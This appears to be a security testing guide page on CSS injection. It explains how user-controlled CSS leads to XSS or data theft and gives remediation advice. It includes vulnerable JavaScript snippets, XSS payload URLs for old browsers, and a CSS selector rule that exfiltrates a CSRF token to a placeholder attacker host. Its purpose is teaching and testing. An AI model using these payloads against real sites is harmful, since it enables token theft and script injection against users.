Testing for CSS Injection

Brief Summary
A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site, and this will be rendered inside the victim's browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it could lead to Cross-Site Scripting in particular circumstances, to data exfiltration in the sense of extracting sensitive data or to UI modifications.

Description of the Issue
Such a vulnerability occurs when the application allows to supply user-generated CSS or it is possible to somehow interfere with the legit stylesheets. Injecting code in the CSS context gives the attacker the possibility to execute JavaScript in certain conditions as well as extracting sensitive values through CSS selectors and functions able to generate HTTP requests.

Actually, giving the users the possibility to customize their own personal pages by using custom CSS files results in a considerable risk, and should be definitely avoided.

The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the "location.hash" (source) which reaches the "cssText" function (sink).

This particular case may lead to DOMXSS in older browser versions, such as Opera, Internet Explorer and Firefox; for reference see DOM XSS Wiki, section "Style Sinks".

Click me if (location.hash.slice(1)) { document.getElementById("a1").style.cssText = "color: " + location.hash.slice(1); }

Specifically the attacker could target the victim by asking her to visit the following URLs:

 www.victim.com/#red;-o-link:'javascript:alert(1)';-o-link-source:current; (Opera [8,12]) www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8) 

The same vulnerability may appear in the case of classical reflected XSS in which for instance the PHP code looks like the following:

p { color: ; text-align: center; }

Much more interesting attack scenarios involve the possibility to extract data through the adoption of pure CSS rules. Such attacks can be conducted through CSS selectors and leading for instance to grab anti-CSRF tokens, as follows; in particular, input[name=csrf_token][value=^a] represents an element with the attribute "name" set "csrf_token" and whose attribute "value" starts with "a". By detecting the length of the attribute "value", it is possible to carry out a brute force attack against it and send its value to the attacker's domain.

input[name=csrf_token][value=^a] { background-image: url(http://attacker/log?a); }

Much more modern attacks involving a combination of SVG, CSS and HTML5 have been proven feasible, therefore we recommend to see the References section for details.

Black Box testing and example
We are referring to client-side testing, therefore blackbox testing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. However, it may happen that the user is given a certain degree of freedom in terms of possibilities to supply HTML code; in that case it is required to test whether no CSS injections are possible: tags like "link" and "style" should be disallowed, as well as attributes "style".

Gray Box testing and example
Testing for CSS Injection vulnerabilities: Manual testing needs to be conducted and the JavaScript code analyzed in order to understand whether the attackers can inject its own content in CSS context. In particular we should be interested in how the website returns CSS rules on the basis of the inputs.

Here follows a basic example:

Click me Hi $("a").click(function{    $("b").attr("style","color: " + location.hash.slice(1));   });

The above code contains a source "location.hash" that is controlled by the attacker that can inject directly in the attribute "style" of an HTML element. As mentioned above, this may lead to different results on the basis of the adopted browser and the supplied payload.

We recommend to use the jQuery function css(property, value) in such circumstances as follows, since this would disallow any damaging injections.

In general, we recommend to use always a whitelist of allowed characters any time the input is reflected in the CSS context.

Click me Hi $("a").click(function{    $("b").css("color",location.hash.slice(1));   });